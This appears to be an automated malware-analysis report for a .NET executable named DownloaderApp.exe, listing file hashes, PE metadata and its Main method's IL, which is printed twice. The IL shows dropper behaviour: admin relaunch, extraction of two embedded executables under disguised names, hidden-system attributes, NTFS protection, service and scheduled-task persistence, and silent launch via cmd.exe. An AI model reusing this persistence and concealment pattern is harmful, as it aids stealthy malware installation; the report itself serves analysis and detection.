77bf486f282066d7a1eb49a2f05953cf
PE Executable | MD5: 77bf486f282066d7a1eb49a2f05953cf | Size: 2.62 MB | application/x-dosexec
Symbol Ofbuscation Score
|
Hash | Hash Value |
|---|---|
| MD5 | 77bf486f282066d7a1eb49a2f05953cf
|
| Sha1 | b60d3fe1de26fb1315d57a138d178c46cfcc715b
|
| Sha256 | fdd9b8a561ea13bcc3bb76a198a9eacdc3353f9d15fad6fd842addf4209f2c7f
|
| Sha384 | 80143bf6393c47e075d73ccbeb2c68e7e90e3413438bec64f8dfc891138fc69ac38ac6b5df6f0ba95f1e9f505ffd7e8b
|
| Sha512 | 51871217f01944e043ab5c162270163b6b2f9bb7737f20dd235d4e13a207c891e83d84e90fa8ac26e9ef163dd28e3e721d7a7a59fbd1e491d088366080a5b1c3
|
| SSDeep | 49152:IrOH6eRgBJbTpc8iYM57G+vSVMZ5i6BEC8ysTVeuK+hl:5H6eR69TFMYqZwhC2Y+
|
| TLSH | B4C51201EAE49D78C8AA1877FD1D9610F133AD7426A1C5EF2BDCAE4B9051CC04AD6F93
|
PeID
|
Name0 | Value |
|---|---|
| Info | PE Detect: PeReader OK (file layout) |
| Info | PDB Path: C:\10\boot\Downloader_win\DownloaderApp\DownloaderApp\obj\Release\DownloaderApp.pdb |
| Module Name | DownloaderApp.exe |
| Full Name | DownloaderApp.exe |
| EntryPoint | System.Void DownloaderApp.Program::Main(System.String[]) |
| Scope Name | DownloaderApp.exe |
| Scope Type | ModuleDef |
| Kind | Windows |
| Runtime Version | v4.0.30319 |
| Tables Header Version | 512 |
| WinMD Version | <null> |
| Assembly Name | DownloaderApp |
| Assembly Version | 1.0.0.0 |
| Assembly Culture | <null> |
| Has PublicKey | False |
| PublicKey Token | <null> |
| Target Framework | .NETFramework,Version=v4.7.2 |
| Total Strings | 44 |
| Main Method | System.Void DownloaderApp.Program::Main(System.String[]) |
| Main IL Instruction Count | 95 |
| Main IL | call System.Boolean DownloaderApp.Program::IsAdmin() brtrue.s IL_0015: call System.Boolean System.Environment::get_UserInteractive() call System.Void DownloaderApp.Program::RelaunchAsAdmin() leave.s IL_0014: ret pop <null> leave IL_0121: ret ret <null> call System.Boolean System.Environment::get_UserInteractive() brtrue.s IL_0027: ldstr "winloghelper.exe" newobj System.Void DownloaderApp.ServiceHost::.ctor() call System.Void System.ServiceProcess.ServiceBase::Run(System.ServiceProcess.ServiceBase) ret <null> ldstr winloghelper.exe stloc.0 <null> ldstr systemhelper.exe stloc.1 <null> ldstr WindowsLogsHelper stloc.2 <null> ldc.i4.s 36 call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) dup <null> ldloc.0 <null> call System.String System.IO.Path::Combine(System.String,System.String) stloc.3 <null> ldloc.1 <null> call System.String System.IO.Path::Combine(System.String,System.String) stloc.s V_4 ldstr lgfcmCznklAA.LjdI7U6d.gus ldloc.3 <null> call System.Void DownloaderApp.Program::ExtractEmbeddedExe(System.String,System.String) ldstr lgfcmCznklAA.KhyZrJvb.mix ldloc.s V_4 call System.Void DownloaderApp.Program::ExtractEmbeddedExe(System.String,System.String) ldloc.3 <null> ldc.i4.6 <null> call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes) ldloc.s V_4 ldc.i4.6 <null> call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes) ldloc.3 <null> call System.Void DownloaderApp.Program::SetNtfsProtection(System.String) ldloc.s V_4 call System.Void DownloaderApp.Program::SetNtfsProtection(System.String) call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly() callvirt System.String System.Reflection.Assembly::get_Location() call System.Void DownloaderApp.Program::TryInstallService(System.String) ldloc.3 <null> ldloc.2 <null> call System.Void DownloaderApp.Program::CreateScheduledTask(System.String,System.String) newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor() dup <null> ldstr cmd.exe callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String) dup <null> ldstr /c start "" " ldloc.3 <null> ldstr " call System.String System.String::Concat(System.String,System.String,System.String) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) pop <null> newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor() dup <null> ldstr cmd.exe callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String) dup <null> ldstr /c start "" " ldloc.s V_4 ldstr " call System.String System.String::Concat(System.String,System.String,System.String) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) pop <null> leave.s IL_0121: ret pop <null> leave.s IL_0121: ret ret <null> |
| Module Name | DownloaderApp.exe |
| Full Name | DownloaderApp.exe |
| EntryPoint | System.Void DownloaderApp.Program::Main(System.String[]) |
| Scope Name | DownloaderApp.exe |
| Scope Type | ModuleDef |
| Kind | Windows |
| Runtime Version | v4.0.30319 |
| Tables Header Version | 512 |
| WinMD Version | <null> |
| Assembly Name | DownloaderApp |
| Assembly Version | 1.0.0.0 |
| Assembly Culture | <null> |
| Has PublicKey | False |
| PublicKey Token | <null> |
| Target Framework | .NETFramework,Version=v4.7.2 |
| Total Strings | 44 |
| Main Method | System.Void DownloaderApp.Program::Main(System.String[]) |
| Main IL Instruction Count | 95 |
| Main IL | call System.Boolean DownloaderApp.Program::IsAdmin() brtrue.s IL_0015: call System.Boolean System.Environment::get_UserInteractive() call System.Void DownloaderApp.Program::RelaunchAsAdmin() leave.s IL_0014: ret pop <null> leave IL_0121: ret ret <null> call System.Boolean System.Environment::get_UserInteractive() brtrue.s IL_0027: ldstr "winloghelper.exe" newobj System.Void DownloaderApp.ServiceHost::.ctor() call System.Void System.ServiceProcess.ServiceBase::Run(System.ServiceProcess.ServiceBase) ret <null> ldstr winloghelper.exe stloc.0 <null> ldstr systemhelper.exe stloc.1 <null> ldstr WindowsLogsHelper stloc.2 <null> ldc.i4.s 36 call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) dup <null> ldloc.0 <null> call System.String System.IO.Path::Combine(System.String,System.String) stloc.3 <null> ldloc.1 <null> call System.String System.IO.Path::Combine(System.String,System.String) stloc.s V_4 ldstr lgfcmCznklAA.LjdI7U6d.gus ldloc.3 <null> call System.Void DownloaderApp.Program::ExtractEmbeddedExe(System.String,System.String) ldstr lgfcmCznklAA.KhyZrJvb.mix ldloc.s V_4 call System.Void DownloaderApp.Program::ExtractEmbeddedExe(System.String,System.String) ldloc.3 <null> ldc.i4.6 <null> call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes) ldloc.s V_4 ldc.i4.6 <null> call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes) ldloc.3 <null> call System.Void DownloaderApp.Program::SetNtfsProtection(System.String) ldloc.s V_4 call System.Void DownloaderApp.Program::SetNtfsProtection(System.String) call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly() callvirt System.String System.Reflection.Assembly::get_Location() call System.Void DownloaderApp.Program::TryInstallService(System.String) ldloc.3 <null> ldloc.2 <null> call System.Void DownloaderApp.Program::CreateScheduledTask(System.String,System.String) newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor() dup <null> ldstr cmd.exe callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String) dup <null> ldstr /c start "" " ldloc.3 <null> ldstr " call System.String System.String::Concat(System.String,System.String,System.String) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) pop <null> newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor() dup <null> ldstr cmd.exe callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String) dup <null> ldstr /c start "" " ldloc.s V_4 ldstr " call System.String System.String::Concat(System.String,System.String,System.String) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) pop <null> leave.s IL_0121: ret pop <null> leave.s IL_0121: ret ret <null> |